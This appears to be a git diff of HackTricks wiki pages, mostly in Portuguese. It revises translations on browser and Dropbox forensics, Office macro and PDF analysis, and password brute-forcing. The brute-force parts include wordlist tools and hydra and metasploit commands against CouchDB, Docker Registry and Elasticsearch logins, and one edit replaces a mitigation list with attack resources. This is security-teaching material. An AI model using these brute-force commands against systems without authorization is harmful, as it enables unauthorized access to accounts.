@ -39,7 +39,7 @@ Vamos dar uma olhada nos artefatos mais comuns armazenados pelos navegadores.
|
|||
* **Favicons:** São os pequenos ícones encontrados em guias, URLs, favoritos e outros. Eles podem ser usados como outra fonte para obter mais informações sobre o site ou lugares visitados pelo usuário.
|
||||
* **Sessões do Navegador:** Autoexplicativo.
|
||||
* **Downloads**: Autoexplicativo.
|
||||
* **Dados de Formulário:** Qualquer coisa digitada em formulários geralmente é armazenada pelo navegador, para que da próxima vez que o usuário digitar algo em um formulário, o navegador possa sugerir dados inseridos anteriormente.
|
||||
* **Dados de Formulário:** Tudo o que é digitado em formulários geralmente é armazenado pelo navegador, para que da próxima vez que o usuário digitar algo em um formulário, o navegador possa sugerir dados inseridos anteriormente.
|
||||
* **Miniaturas:** Autoexplicativo.
|
||||
* **Custom Dictionary.txt**: Palavras adicionadas ao dicionário pelo usuário.
|
||||
|
||||
|
@ -79,8 +79,8 @@ Informações que podem ser obtidas:
|
|||
* _**prefs.js**_ : Configurações e Preferências
|
||||
* _**downloads.sqlite**_ : Banco de dados antigo de downloads (agora está dentro de places.sqlite)
|
||||
* _**thumbnails/**_ : Miniaturas
|
||||
* _**logins.json**_ : Nomes de usuário e senhas criptografadas
|
||||
* **Anti-phishing integrado do navegador:** `grep 'browser.safebrowsing' ~/Library/Application Support/Firefox/Profiles/*/prefs.js`
|
||||
* _**logins.json**_ : Nomes de usuário e senhas criptografados
|
||||
* **Anti-phishing integrado no navegador:** `grep 'browser.safebrowsing' ~/Library/Application Support/Firefox/Profiles/*/prefs.js`
|
||||
* Retornará "safebrowsing.malware.enabled" e "phishing.enabled" como falso se as configurações de pesquisa segura tiverem sido desativadas
|
||||
* _**key4.db**_ ou _**key3.db**_ : Chave mestra?
|
||||
|
||||
|
@ -120,9 +120,9 @@ A maioria das informações será salva dentro das pastas _**Default/**_ ou _**C
|
|||
* _**Favoritos**_: Favoritos
|
||||
* _**Dados da Web**_: Histórico de formulários
|
||||
* _**Favicons**_: Favicons
|
||||
* _**Dados de Login**_: Informações de login (nomes de usuário, senhas...)
|
||||
* _**Sessão Atual**_ e _**Guias Atuais**_: Dados da sessão atual e guias atuais
|
||||
* _**Última Sessão**_ e _**Últimas Guias**_: Esses arquivos contêm os sites que estavam ativos no navegador quando o Chrome foi fechado pela última vez.
|
||||
* _**Dados de login**_: Informações de login (nomes de usuário, senhas...)
|
||||
* _**Sessão atual**_ e _**Guias atuais**_: Dados da sessão atual e guias atuais
|
||||
* _**Última sessão**_ e _**Últimas guias**_: Esses arquivos contêm os sites que estavam ativos no navegador quando o Chrome foi fechado pela última vez.
|
||||
* _**Extensões**_: Pasta de extensões e complementos
|
||||
* **Miniaturas** : Miniaturas
|
||||
* **Preferências**: Este arquivo contém uma infinidade de informações úteis, como plugins, extensões, sites que usam geolocalização, pop-ups, notificações, pré-busca DNS, exceções de certificado e muito mais. Se você está tentando pesquisar se uma configuração específica do Chrome estava ativada ou não, provavelmente encontrará essa configuração aqui.
|
||||
|
@ -220,7 +220,7 @@ A ferramenta [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_histo
|
|||
|
||||
Pesquise em _**userprofile%\Appdata\Local\Microsoft\Windows\History\History.IE5**_ e _**userprofile%\Appdata\Local\Microsoft\Windows\History\Low\History.IE5**_
|
||||
|
||||
### **URLs Digitadas**
|
||||
### **URLs digitadas**
|
||||
|
||||
Essas informações podem ser encontradas no registro NTDUSER.DAT no caminho:
|
||||
|
||||
|
@ -270,7 +270,7 @@ O Opera **armazena o histórico do navegador e os dados de download no mesmo for
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para criar e **automatizar fluxos de trabalho** com facilidade, usando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para criar e **automatizar fluxos de trabalho** com facilidade, usando as ferramentas da comunidade mais avançada do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -283,6 +283,6 @@ Acesse hoje mesmo:
|
|||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,8 +15,8 @@
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -76,7 +76,7 @@ Além dessas informações, para descriptografar os bancos de dados, você ainda
|
|||
* A **chave DPAPI criptografada**: Você pode encontrá-la no registro dentro de `NTUSER.DAT\Software\Dropbox\ks\client` (exporte esses dados como binário)
|
||||
* As colmeias **`SYSTEM`** e **`SECURITY`**
|
||||
* As **chaves mestras DPAPI**: Que podem ser encontradas em `\Users\<nome de usuário>\AppData\Roaming\Microsoft\Protect`
|
||||
* O **nome de usuário** e a **senha** do usuário do Windows
|
||||
* O **nome de usuário** e **senha** do usuário do Windows
|
||||
|
||||
Em seguida, você pode usar a ferramenta [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:**
|
||||
|
||||
|
@ -114,7 +114,7 @@ Outras tabelas dentro desse banco de dados contêm informações mais interessan
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para criar e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -4,18 +4,18 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -69,7 +69,7 @@ Como você pode ver, parte da estrutura é criada pelo arquivo e pela hierarquia
|
|||
|
||||
Mais uma vez, existe um conjunto de ferramentas em Python para a análise de documentos OLE e OOXML: [oletools](http://www.decalage.info/python/oletools). Para documentos OOXML em particular, [OfficeDissector](https://www.officedissector.com) é um framework de análise muito poderoso (e uma biblioteca em Python). Este último inclui um [guia rápido sobre o seu uso](https://github.com/grierforensics/officedissector/blob/master/doc/html/\_sources/txt/ANALYZING\_OOXML.txt).
|
||||
|
||||
Às vezes, o desafio não é encontrar dados estáticos ocultos, mas **analisar uma macro VBA** para determinar seu comportamento. Esse é um cenário mais realista e algo que os analistas de campo realizam todos os dias. As ferramentas de dissecação mencionadas podem indicar se uma macro está presente e provavelmente extraí-la para você. Uma macro VBA típica em um documento do Office, no Windows, irá baixar um script do PowerShell para %TEMP% e tentar executá-lo, nesse caso, você agora tem uma tarefa de análise de script do PowerShell também. No entanto, as macros VBA maliciosas raramente são complicadas, já que a VBA é [geralmente usada apenas como uma plataforma de partida para a execução de código](https://www.lastline.com/labsblog/party-like-its-1999-comeback-of-vba-malware-downloaders-part-3/). No caso em que você precisa entender uma macro VBA complicada ou se a macro estiver ofuscada e tiver um rotina de descompactação, você não precisa ter uma licença do Microsoft Office para depurar isso. Você pode usar o [Libre Office](http://libreoffice.org): [sua interface](http://www.debugpoint.com/2014/09/debugging-libreoffice-macro-basic-using-breakpoint-and-watch/) será familiar para qualquer pessoa que já tenha depurado um programa; você pode definir pontos de interrupção, criar variáveis de observação e capturar valores depois que eles foram descompactados, mas antes que o comportamento da carga útil seja executado. Você até pode iniciar uma macro de um documento específico a partir da linha de comando:
|
||||
Às vezes, o desafio não é encontrar dados estáticos ocultos, mas **analisar uma macro VBA** para determinar seu comportamento. Esse é um cenário mais realista e algo que os analistas de campo realizam todos os dias. As ferramentas de dissecação mencionadas podem indicar se uma macro está presente e provavelmente extraí-la para você. Uma macro VBA típica em um documento do Office, no Windows, irá baixar um script do PowerShell para %TEMP% e tentar executá-lo, nesse caso, você agora tem uma tarefa de análise de script do PowerShell também. Mas as macros VBA maliciosas raramente são complicadas, já que a VBA é [geralmente usada apenas como uma plataforma de partida para a execução de código](https://www.lastline.com/labsblog/party-like-its-1999-comeback-of-vba-malware-downloaders-part-3/). No caso em que você precisa entender uma macro VBA complicada, ou se a macro está ofuscada e possui uma rotina de descompactação, você não precisa ter uma licença do Microsoft Office para depurar isso. Você pode usar o [Libre Office](http://libreoffice.org): [sua interface](http://www.debugpoint.com/2014/09/debugging-libreoffice-macro-basic-using-breakpoint-and-watch/) será familiar para qualquer pessoa que já tenha depurado um programa; você pode definir pontos de interrupção, criar variáveis de observação e capturar valores depois que eles foram descompactados, mas antes que o comportamento da carga útil seja executado. Você até pode iniciar uma macro de um documento específico a partir da linha de comando:
|
||||
```
|
||||
$ soffice path/to/test.docx macro://./standard.module1.mymacro
|
||||
```
|
||||
|
@ -91,13 +91,13 @@ O script `oledump` é uma ferramenta poderosa para análise de arquivos OLE. Ele
|
|||
|
||||
### olebrowse
|
||||
|
||||
O script `olebrowse` é uma ferramenta interativa para explorar arquivos OLE. Ele permite navegar pela estrutura do arquivo, visualizar objetos e streams, e até mesmo editar e salvar modificações no arquivo. Isso pode ser útil para examinar detalhadamente um arquivo OLE e entender sua funcionalidade.
|
||||
O script `olebrowse` é uma ferramenta interativa para análise de arquivos OLE. Ele fornece uma interface de linha de comando que permite navegar pela estrutura interna de um arquivo OLE e visualizar informações detalhadas sobre os objetos presentes no arquivo.
|
||||
|
||||
### olemeta
|
||||
|
||||
O script `olemeta` é usado para extrair metadados de arquivos OLE. Ele pode fornecer informações sobre o autor, título, assunto e outras propriedades do arquivo. Isso pode ser útil para a análise forense de documentos do Office e a obtenção de informações adicionais sobre um arquivo.
|
||||
O script `olemeta` é usado para extrair metadados de arquivos OLE. Ele pode fornecer informações sobre o autor, título, assunto e outras propriedades do arquivo. Isso pode ser útil para a análise forense de documentos do Office.
|
||||
|
||||
Essas ferramentas do oletools podem ser usadas em conjunto para realizar uma análise forense completa de arquivos do Microsoft Office. Elas podem ajudar a identificar conteúdo malicioso, extrair informações ocultas e entender a estrutura interna de um arquivo OLE.
|
||||
Essas ferramentas do oletools podem ser usadas para ajudar na análise forense de arquivos do Microsoft Office e na detecção de possíveis ameaças de segurança.
|
||||
```bash
|
||||
sudo pip3 install -U oletools
|
||||
olevba -c /path/to/document #Extract macros
|
||||
|
@ -113,7 +113,7 @@ Funções de macro como `AutoOpen`, `AutoExec` ou `Document_Open` serão **execu
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -122,10 +122,10 @@ Acesse hoje mesmo:
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,7 +15,7 @@
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -28,7 +28,7 @@ O formato PDF é parcialmente texto simples, como HTML, mas com muitos "objetos"
|
|||
|
||||
[qpdf](https://github.com/qpdf/qpdf) é uma ferramenta que pode ser útil para explorar um PDF e transformar ou extrair informações dele. Outra é um framework em Ruby chamado [Origami](https://github.com/mobmewireless/origami-pdf).
|
||||
|
||||
Ao explorar o conteúdo de um PDF em busca de dados ocultos, alguns dos esconderijos para verificar incluem:
|
||||
Ao explorar o conteúdo de um PDF em busca de dados ocultos, alguns dos esconderijos a serem verificados incluem:
|
||||
|
||||
* camadas não visíveis
|
||||
* o formato de metadados "XMP" da Adobe
|
||||
|
|
|
@ -54,21 +54,21 @@ crunch 6 8 -t ,@@^^%%
|
|||
```
|
||||
### Cewl
|
||||
|
||||
Cewl is a tool used for generating custom wordlists by scraping websites or documents. It is particularly useful for performing brute force attacks. The tool analyzes the given source and extracts words based on various criteria such as length, frequency, and relevance. Cewl can be used to create wordlists that are tailored to the target, increasing the chances of success in a brute force attack.
|
||||
Cewl is a tool used for generating custom wordlists by scraping websites or documents. It is particularly useful for password cracking through brute force attacks. Cewl works by analyzing the target website or document and extracting relevant keywords and phrases. These keywords and phrases are then combined to create a wordlist that can be used in brute force attacks.
|
||||
|
||||
To use Cewl, you need to provide it with a target URL or a local file. The tool then crawls the source and extracts words based on the specified criteria. By default, Cewl considers words with a minimum length of four characters. However, you can adjust this setting to include shorter or longer words.
|
||||
To use Cewl, you need to provide it with a target URL or a document. Cewl will then crawl the target and extract the desired keywords and phrases. The extracted data can be saved to a file for further analysis or directly used in password cracking tools.
|
||||
|
||||
Cewl also allows you to specify the depth of the crawl, which determines how many levels deep the tool will search for words. This can be useful when targeting specific sections of a website or when you want to limit the scope of the wordlist.
|
||||
Cewl has various options that allow you to customize its behavior. For example, you can specify the minimum and maximum length of the extracted words, exclude certain words or characters, and even use regular expressions to filter the extracted data.
|
||||
|
||||
Once Cewl has finished analyzing the source, it generates a wordlist that can be used for brute force attacks. This wordlist can be saved to a file for later use or used directly with other tools such as Hydra or Medusa.
|
||||
Using Cewl can significantly improve the success rate of brute force attacks by creating wordlists that are tailored to the target. By including keywords and phrases that are likely to be used in passwords, Cewl increases the chances of cracking the target's password.
|
||||
|
||||
Overall, Cewl is a powerful tool for generating custom wordlists that can greatly enhance the effectiveness of brute force attacks. By tailoring the wordlist to the target, you can increase the chances of success and reduce the time required to crack passwords or gain unauthorized access.
|
||||
It is important to note that Cewl should only be used for ethical hacking purposes with proper authorization. Unauthorized use of Cewl or any other hacking tool is illegal and can result in severe consequences. Always ensure that you have the necessary permissions and legal rights before using Cewl or any other hacking tool.
|
||||
```bash
|
||||
cewl example.com -m 5 -w words.txt
|
||||
```
|
||||
### [CUPP](https://github.com/Mebus/cupp)
|
||||
|
||||
Gerar senhas com base no seu conhecimento sobre a vítima (nomes, datas...)
|
||||
Gere senhas com base no seu conhecimento sobre a vítima (nomes, datas...)
|
||||
```
|
||||
python3 cupp.py -h
|
||||
```
|
||||
|
@ -111,7 +111,7 @@ Finished in 0.920s.
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -162,7 +162,7 @@ O brute force é uma técnica de ataque que envolve tentar todas as combinaçõe
|
|||
|
||||
## Ataque de Força Bruta no CouchDB
|
||||
|
||||
O CouchDB é um banco de dados NoSQL que armazena documentos JSON. Ele possui uma API RESTful que permite a autenticação com nome de usuário e senha.
|
||||
O CouchDB é um banco de dados NoSQL que armazena dados em formato JSON. Ele possui uma API RESTful que permite a autenticação com nome de usuário e senha.
|
||||
|
||||
Um ataque de força bruta no CouchDB envolve tentar várias combinações de nomes de usuário e senhas até encontrar um par válido. Isso pode ser feito usando ferramentas automatizadas, como scripts ou programas especializados.
|
||||
|
||||
|
@ -172,31 +172,27 @@ Aqui está uma metodologia básica para realizar um ataque de força bruta no Co
|
|||
|
||||
1. Identifique o alvo: determine o endereço IP ou o nome de domínio do CouchDB que você deseja atacar.
|
||||
|
||||
2. Enumere os usuários: descubra quais nomes de usuário são válidos no CouchDB. Isso pode ser feito por meio de engenharia social, pesquisa de informações públicas ou tentativa e erro.
|
||||
2. Enumere os usuários: tente descobrir quais nomes de usuário são válidos no CouchDB. Isso pode ser feito usando técnicas de enumeração, como adivinhar nomes comuns ou explorar vazamentos de dados.
|
||||
|
||||
3. Crie uma lista de senhas: gere uma lista de senhas comumente usadas, senhas vazadas ou senhas relacionadas ao alvo. Você também pode usar ferramentas de geração de senhas para criar uma lista personalizada.
|
||||
3. Crie uma lista de senhas: gere uma lista de senhas possíveis que você deseja testar. Isso pode incluir senhas comuns, senhas derivadas de dicionários ou senhas personalizadas.
|
||||
|
||||
4. Execute o ataque: use uma ferramenta de força bruta, como Hydra ou Medusa, para automatizar o processo de tentativa de login com várias combinações de nomes de usuário e senhas.
|
||||
4. Execute o ataque: use uma ferramenta de força bruta para automatizar o processo de tentativa de login. Essas ferramentas geralmente permitem que você especifique uma lista de usuários e senhas para testar.
|
||||
|
||||
5. Analise os resultados: verifique os logs da ferramenta de força bruta para identificar quais combinações de nomes de usuário e senhas foram bem-sucedidas. Isso fornecerá acesso não autorizado ao CouchDB.
|
||||
5. Analise os resultados: verifique se o ataque foi bem-sucedido encontrando um par válido de nome de usuário e senha. Isso pode ser feito examinando os logs do CouchDB ou usando ferramentas de análise de tráfego de rede.
|
||||
|
||||
## Mitigação
|
||||
## Recursos Adicionais
|
||||
|
||||
Para proteger o CouchDB contra ataques de força bruta, você pode implementar as seguintes medidas de mitigação:
|
||||
Aqui estão alguns recursos adicionais que podem ser úteis ao realizar um ataque de força bruta no CouchDB:
|
||||
|
||||
- Use senhas fortes: escolha senhas longas e complexas que sejam difíceis de adivinhar. Evite senhas comuns ou previsíveis.
|
||||
- **Ferramentas de força bruta**: existem várias ferramentas disponíveis, como Hydra e Medusa, que podem ser usadas para automatizar ataques de força bruta.
|
||||
|
||||
- Bloqueie contas após várias tentativas falhas: configure o CouchDB para bloquear temporariamente uma conta após um número específico de tentativas de login malsucedidas.
|
||||
- **Dicionários de senhas**: você pode encontrar dicionários de senhas na Internet que contêm senhas comuns ou derivadas de vazamentos de dados. Esses dicionários podem ser usados para gerar listas de senhas para testar.
|
||||
|
||||
- Implemente autenticação multifator: adicione uma camada extra de segurança exigindo um segundo fator de autenticação, como um código de verificação enviado por SMS ou um aplicativo de autenticação.
|
||||
|
||||
- Limite o acesso à API: restrinja o acesso à API do CouchDB apenas a endereços IP confiáveis ou redes específicas.
|
||||
|
||||
- Mantenha o CouchDB atualizado: aplique regularmente as atualizações e correções de segurança fornecidas pelos desenvolvedores do CouchDB.
|
||||
- **Técnicas de enumeração**: existem várias técnicas de enumeração que podem ser usadas para descobrir nomes de usuário válidos no CouchDB. Isso pode incluir adivinhar nomes comuns, explorar vazamentos de dados ou usar técnicas de engenharia social.
|
||||
|
||||
## Conclusão
|
||||
|
||||
O ataque de força bruta é uma técnica simples, mas potencialmente eficaz, para comprometer a segurança do CouchDB. No entanto, implementando medidas de mitigação adequadas, você pode reduzir significativamente o risco de sucesso de um ataque de força bruta.
|
||||
O ataque de força bruta pode ser uma maneira eficaz de comprometer a segurança do CouchDB se as senhas forem fracas ou se o atacante tiver recursos computacionais suficientes. No entanto, é importante lembrar que realizar um ataque de força bruta é ilegal e antiético, a menos que seja feito com permissão explícita do proprietário do sistema.
|
||||
```bash
|
||||
msf> use auxiliary/scanner/couchdb/couchdb_login
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
|
||||
|
@ -216,7 +212,7 @@ Para proteger o Registro do Docker contra ataques de força bruta, é importante
|
|||
- Usar senhas fortes e complexas.
|
||||
- Implementar políticas de bloqueio de conta após várias tentativas de login malsucedidas.
|
||||
- Monitorar e registrar atividades suspeitas no Registro do Docker.
|
||||
- Atualizar regularmente o software do Registro do Docker para corrigir quaisquer vulnerabilidades conhecidas.
|
||||
- Atualizar regularmente o Registro do Docker com as versões mais recentes para corrigir quaisquer vulnerabilidades conhecidas.
|
||||
|
||||
Além disso, é recomendável usar autenticação de dois fatores (2FA) para adicionar uma camada extra de segurança ao acesso ao Registro do Docker. Isso exige que os usuários forneçam uma segunda forma de autenticação, como um código gerado por um aplicativo de autenticação no smartphone, além da senha.
|
||||
|
||||
|
@ -228,13 +224,20 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/word
|
|||
|
||||
O Elasticsearch é um mecanismo de busca e análise distribuído, que é amplamente utilizado para pesquisar, analisar e visualizar grandes volumes de dados em tempo real. Ele é construído sobre o Apache Lucene e fornece uma interface RESTful para interagir com os dados.
|
||||
|
||||
## Brute Force
|
||||
## Força Bruta
|
||||
|
||||
A força bruta é uma técnica comum usada para quebrar senhas ou descobrir informações confidenciais, tentando todas as combinações possíveis até encontrar a correta. No contexto do Elasticsearch, a força bruta pode ser usada para tentar adivinhar credenciais de autenticação ou explorar vulnerabilidades de segurança.
|
||||
A força bruta é uma técnica comum usada para quebrar senhas ou descobrir informações confidenciais, tentando todas as combinações possíveis até encontrar a correta. No contexto do Elasticsearch, a força bruta pode ser usada para tentar adivinhar credenciais de autenticação e obter acesso não autorizado ao sistema.
|
||||
|
||||
Existem várias ferramentas disponíveis para realizar ataques de força bruta no Elasticsearch, como o Hydra e o Burp Suite. Essas ferramentas automatizam o processo de tentar várias combinações de nomes de usuário e senhas em uma velocidade muito alta.
|
||||
Existem várias ferramentas disponíveis para realizar ataques de força bruta no Elasticsearch, como o Hydra e o Burp Suite. Essas ferramentas automatizam o processo de tentativa de várias combinações de nomes de usuário e senhas em uma velocidade muito alta.
|
||||
|
||||
No entanto, é importante ressaltar que a força bruta é uma técnica de ataque que pode ser detectada e bloqueada por medidas de segurança adequadas. Portanto, é essencial implementar senhas fortes, limitar o número de tentativas de login e monitorar atividades suspeitas para proteger o Elasticsearch contra ataques de força bruta.
|
||||
Para proteger seu cluster Elasticsearch contra ataques de força bruta, é importante implementar medidas de segurança adequadas, como:
|
||||
|
||||
- Usar senhas fortes e complexas para as contas de usuário.
|
||||
